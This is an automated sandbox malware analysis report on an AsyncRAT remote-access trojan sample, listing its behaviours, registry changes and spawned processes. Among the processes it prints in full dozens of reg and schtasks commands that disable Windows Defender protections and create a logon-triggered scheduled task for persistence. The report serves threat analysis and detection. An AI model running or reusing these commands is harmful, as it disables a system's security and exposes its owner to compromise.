Malware Analysis Report

2024-10-23 19:27

Sample ID 240628-z8y4qssdrg
Target test.exe
SHA256 d01b020acbaee9457d161a79b852932cc192a2dde3d47ac14292eab667aee068
Tags
asyncrat default evasion persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d01b020acbaee9457d161a79b852932cc192a2dde3d47ac14292eab667aee068

Threat Level: Known bad

The file test.exe was found to be: Known bad.

Malicious Activity Summary

asyncrat default evasion persistence rat trojan

Modifies security service

Modifies Windows Defender notification settings

Modifies Windows Defender Real-time Protection settings

AsyncRat

Async RAT payload

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Adds Run key to start application

Unsigned PE

Enumerates physical storage devices

Delays execution with timeout.exe

Scheduled Task/Job: Scheduled Task

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

Suspicious behavior: LoadsDriver

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-28 21:23

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-28 21:23

Reported

2024-06-28 21:26

Platform

win10v2004-20240226-en

Max time kernel

159s

Max time network

166s

Command Line

"C:\Users\Admin\AppData\Local\Temp\test.exe"

Signatures

AsyncRat

rat asyncrat

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\system32\reg.exe N/A

Modifies Windows Defender notification settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Microsoft\Windows Defender Security Center\Notifications C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1" C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\Windows Defender Security Center\Notifications C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1" C:\Windows\system32\reg.exe N/A

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\dllhost.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\test.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\test.exe N/A

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\csrss.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2296 wrote to memory of 336 N/A C:\Users\Admin\AppData\Local\Temp\test.exe C:\Windows\SYSTEM32\cmd.exe
PID 2296 wrote to memory of 336 N/A C:\Users\Admin\AppData\Local\Temp\test.exe C:\Windows\SYSTEM32\cmd.exe
PID 336 wrote to memory of 2448 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\openfiles.exe
PID 336 wrote to memory of 2448 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\openfiles.exe
PID 336 wrote to memory of 4012 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4012 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1136 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1136 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 3948 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 3948 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 3464 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 3464 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2576 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2576 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 5108 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 5108 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4744 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4744 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 864 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 864 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 368 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 368 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2240 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2240 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1004 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1004 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2564 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2564 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 836 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 836 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2500 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2500 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2880 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2880 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2852 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 2852 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1032 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1032 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 5028 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 5028 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 492 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 492 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1064 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1064 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4392 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4392 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 3972 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 3972 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 1784 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 1784 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 3920 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 3920 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 3720 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 3720 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 4856 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 4856 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 3420 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 3420 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 336 wrote to memory of 4484 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4484 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4476 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4476 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4628 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe
PID 336 wrote to memory of 4628 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\reg.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\test.exe

"C:\Users\Admin\AppData\Local\Temp\test.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c main.bat

C:\Windows\system32\openfiles.exe

openfiles

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f

C:\Windows\system32\reg.exe

reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe

dllhost.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1016 --field-trial-handle=2244,i,11878111470816612087,2265290141962607370,262144 --variations-seed-version /prefetch:8

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "csrss" /tr '"C:\Users\Admin\AppData\Roaming\csrss.exe"' & exit

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA505.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "csrss" /tr '"C:\Users\Admin\AppData\Roaming\csrss.exe"'

C:\Users\Admin\AppData\Roaming\csrss.exe

"C:\Users\Admin\AppData\Roaming\csrss.exe"

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\test.exe

"C:\Users\Admin\AppData\Local\Temp\test.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c main.bat

C:\Windows\system32\openfiles.exe

openfiles

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

